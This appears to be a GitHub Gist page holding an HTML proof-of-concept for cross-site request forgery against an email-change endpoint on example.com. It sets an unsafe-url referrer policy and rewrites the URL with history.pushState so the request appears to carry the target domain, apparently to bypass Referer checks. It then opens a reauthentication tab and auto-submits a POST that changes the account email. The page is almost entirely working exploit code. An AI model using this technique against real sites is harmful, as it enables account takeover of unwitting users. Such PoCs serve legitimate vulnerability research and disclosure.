Created
July 24, 2023 18:59
-
-
Save aelmokhtar/38da2912795d3d7c9fb27fab99bc09d4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<meta name="referrer" content="unsafe-url"> | |
<body> | |
<form id="myForm" action="https://example.com/email/change" method="POST" onsubmit="event.preventDefault(); openTabAndSubmit();"> | |
<input type="email" name="email" value="test@test.com" /> | |
<input type="submit" value="Submit request" /> | |
</form> | |
<script> | |
history.pushState("", "", "/?example.com"); | |
function openTabAndSubmit() { | |
window.open('https://example.com/login?reauth=1', '_blank'); | |
setTimeout(function() { | |
document.getElementById('myForm').submit(); | |
}, 500); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment